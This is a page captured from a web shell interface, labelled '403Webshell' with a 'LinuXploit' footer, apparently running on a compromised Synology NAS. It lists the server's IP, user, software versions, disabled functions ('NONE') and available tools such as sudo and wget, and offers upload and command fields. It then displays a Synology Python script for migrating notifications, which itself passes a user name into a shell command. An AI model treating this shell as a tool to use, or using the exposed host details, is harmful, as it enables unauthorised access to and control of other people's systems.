403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/syno/sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/syno/sbin/synonotifydbtransfer
#!/bin/python3

import argparse
import json
import subprocess
import sqlite3
import os
from os import walk
from os import path
from os import stat
from datetime import datetime

ETC_PATH = "/usr/syno/etc/"
DB_NAME = "dsmnotify.db"
DB_TMP_NAME = DB_NAME + ".tmp"

notify_per_user = 500
read_dsmnotify_list = []

class DbHandler:
    def __init__(self, db_name=DB_NAME):
        try:
            self.db_path = ETC_PATH + db_name
            self.db_conn = sqlite3.connect(self.db_path)
            self.cur = self.db_conn.cursor()
            self.create_table_if_not_exist()
        except Exception as e:
            print("error in __init__:", e)

    def __del__(self):
        try:
            self.create_trigger_if_not_exist()
            self.db_conn.close()
        except Exception as e:
            print("error in __del__:", e)

    def has_timestamp(self):
        self.cur.execute('PRAGMA table_info(message)')
        for col in self.cur.fetchall():
            if "timestamp" in col:
                return True
        return False


    def update_timestamp(self):
        try:
            if not self.has_timestamp():
                self.cur.execute('ALTER TABLE message ADD COLUMN timestamp INTEGER;')

            message = {}
            for row in self.cur.execute("SELECT message_id, message_content FROM message WHERE timestamp IS NULL;"):
                message[str(row[0])] = str(json.loads(row[1])['time'])

            for m_id in message:
                self.cur.execute(f"UPDATE message SET timestamp={message[m_id]} WHERE message_id={m_id}")

            self.cur.executescript("""DROP TRIGGER IF EXISTS 'insert_notifty' ; """)
            self.create_trigger_if_not_exist()
            return True

        except Exception as e:
            print(e)
            return False

    def insert_notify(self, notify_db):
        msgAry = get_sorted_message(notify_db)
        has_failed = False
        try:
            for arr in msgAry:
                msg = arr[1]
                self.cur.execute(
                    "INSERT OR IGNORE INTO message (message_content, message_counter, timestamp) VALUES (?, ?, ?);",
                    (msg, 0, str(json.loads(msg)['time'])),
                )

                self.cur.execute(
                    "SELECT message_id FROM message WHERE ? = message_content;",
                    (msg,),
                )
                res = self.cur.fetchone()

                if res == None or len(res) != 1:
                    print('insert failed')
                    has_failed = True
                    continue

                msg_id = res[0]
                for uid in notify_db[msg]:
                    self.cur.execute(
                        "INSERT INTO dsmnotify(uid, message_id) SELECT ?, ? WHERE NOT EXISTS(SELECT 1 FROM dsmnotify WHERE uid = ? AND message_id = ?);",
                        (uid, msg_id, uid, msg_id),
                    )
            self.cur.execute("DELETE FROM 'dsmnotify' WHERE (SELECT SUM(message_counter) FROM 'message') > ? AND _id IN (SELECT _id FROM 'dsmnotify' WHERE message_id = (SELECT message_id FROM 'message' ORDER BY timestamp LIMIT 1));",
                (50000,),
            )
            self.db_conn.commit()
        except Exception as e:
            print("read /usr/syno/etc/dsmnotify.db failed", e)
            return False
        return has_failed == False


    def create_table_if_not_exist(self):
        self.cur.executescript("""
CREATE TABLE IF NOT EXISTS 'message' (
    message_id INTEGER PRIMARY KEY,
    message_content TEXT,
    message_counter integer NOT NULL,
    timestamp INTEGER,
    UNIQUE(message_content)
);
CREATE TABLE IF NOT EXISTS 'dsmnotify' (
    _id integer PRIMARY KEY,
    uid integer NOT NULL,
    message_id integer NOT NULL
);
        """)

    def create_trigger_if_not_exist(self):
        self.cur.executescript("""
CREATE TRIGGER IF NOT EXISTS 'delete_message' AFTER DELETE ON 'dsmnotify'
BEGIN
    UPDATE 'message' SET message_counter = message_counter - 1 WHERE OLD.message_id = message.message_id;
    DELETE FROM 'message' WHERE message_counter < 1;
END;
CREATE TRIGGER IF NOT EXISTS 'insert_notifty' AFTER INSERT ON 'dsmnotify'
BEGIN
    UPDATE 'message' SET message_counter = message_counter + 1 WHERE message.message_id = NEW.message_id;
    DELETE FROM 'dsmnotify' WHERE _id IN
    ( SELECT _id FROM 'dsmnotify' INNER JOIN 'message' ON dsmnotify.message_id = message.message_id
    WHERE uid = NEW.uid ORDER BY message.timestamp DESC limit -1 offset 500 ) ;
END;
        """)


def read_user_notify_by_path(notify_db, path):
    try:
        uid = stat(path).st_uid
        if uid > 2147483647:
            uid = uid - 4294967296
        for notify in json.load(open(path, encoding="utf8")):
            str_notify = json.dumps(notify,
                                    separators=(",", ":"),
                                    ensure_ascii=False).encode("utf8")
            if str_notify not in notify_db:
                notify_db[str_notify] = set()
            notify_db[str_notify].add(uid)
        read_dsmnotify_list.append(path)
        return True
    except Exception as e:
        print("read " + path + " failed", e)
        return False


def read_user_notify_by_name(notify_db, name):
    is_read = False
    has_notify = False
    pref_dir_path = (subprocess.Popen(
        f"/usr/syno/bin/synopreferencedir --user-get-only '{name}'",
        shell=True,
        stdout=subprocess.PIPE,
    ).stdout.read().decode("utf-8"))
    if len(pref_dir_path) == 0:
        print("get " + name + "'s preference directory failed")
        return False

    for filepath in [
            pref_dir_path + "/dsmnotify", pref_dir_path + "/dsmnotify.bkp"
    ]:
        if path.exists(filepath):
            has_notify = True
            is_read = read_user_notify_by_path(notify_db, filepath) or is_read

    if is_read != has_notify:
        return False
    return True

def read_all_users_notify(notify_db):
    has_failed = False
    for (dirpath, dirnames, filenames) in walk("/usr/syno/etc/preference/"):
        for filename in filenames:
            if filename == "dsmnotify" or filename == "dsmnotify.bkp":
                has_failed = read_user_notify_by_path(notify_db, dirpath + "/" + filename) == False or has_failed
    return not has_failed


def get_sorted_message(notify_db):
    msgAry = []
    for msg in notify_db:
        msgAry.append([json.loads(msg)["time"], msg])
    msgAry.sort()
    return msgAry


def remove_redundant_notify(notify_db):
    msgAry = get_sorted_message(notify_db)
    userNotifyCounter = {}
    for arr in reversed(msgAry):
        temp_set = set()
        msg = arr[1]
        for uid in notify_db[msg]:
            if uid not in userNotifyCounter:
                userNotifyCounter[uid] = 0
            if userNotifyCounter[uid] < notify_per_user:
                userNotifyCounter[uid] = userNotifyCounter[uid] + 1
                temp_set.add(uid)

        if len(temp_set) == 0:
            notify_db.pop(msg, None)
        else:
            notify_db[msg] = temp_set


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-u",
        "--user",
        type=str,
        action="append",
        help="read local user's notifications",
    )
    parser.add_argument("-a",
                        "--all",
                        action="store_true",
                        help="read all users' notifications")
    parser.add_argument("-t",
                        "--time",
                        action="store_true",
                        help="add timestamp into message")
    parser.add_argument("-n",
                        "--num",
                        type=int,
                        default=500,
                        help="number of notifications per user (optional)")
    args = parser.parse_args()

    if args.num > 500 or args.num < 20:
        print("ERROR: num shoud greater than 20 and less than 500\n")
        parser.print_help()
    else:
        global notify_per_user
        notify_per_user = args.num
    notify_db = {}

    if args.all == True:
        if read_all_users_notify(notify_db) == False:
            print('read all dsmnotify Failed')
            return False
    elif args.user:
        for u in args.user:
            if read_user_notify_by_name(notify_db, u) == False:
                print('read ' + u + '\'s notify failed')
                return False
    elif args.time != True:
        parser.print_help()
        return False

    if len(notify_db) == 0 and args.time == True and not os.path.exists(ETC_PATH + DB_NAME):
        return True

    try:
        db_handler = DbHandler(DB_NAME)
        db_handler.update_timestamp()
    except Exception as e:
        print("read /usr/syno/etc/dsmnotify.db failed", e)
        return False

    remove_redundant_notify(notify_db)
    if db_handler.insert_notify(notify_db) == False:
        print('insert notify failed')
        return False

    for path in read_dsmnotify_list:
        if os.path.exists(path):
            os.remove(path)
        else:
            print(path + " does not exist")
    return True


if __name__ == "__main__":
    try:
        if not main():
            exit(1)
    except Exception as e:
        exit(1)
    exit(0)

Youez - 2016 - github.com/yon3zu
LinuXploit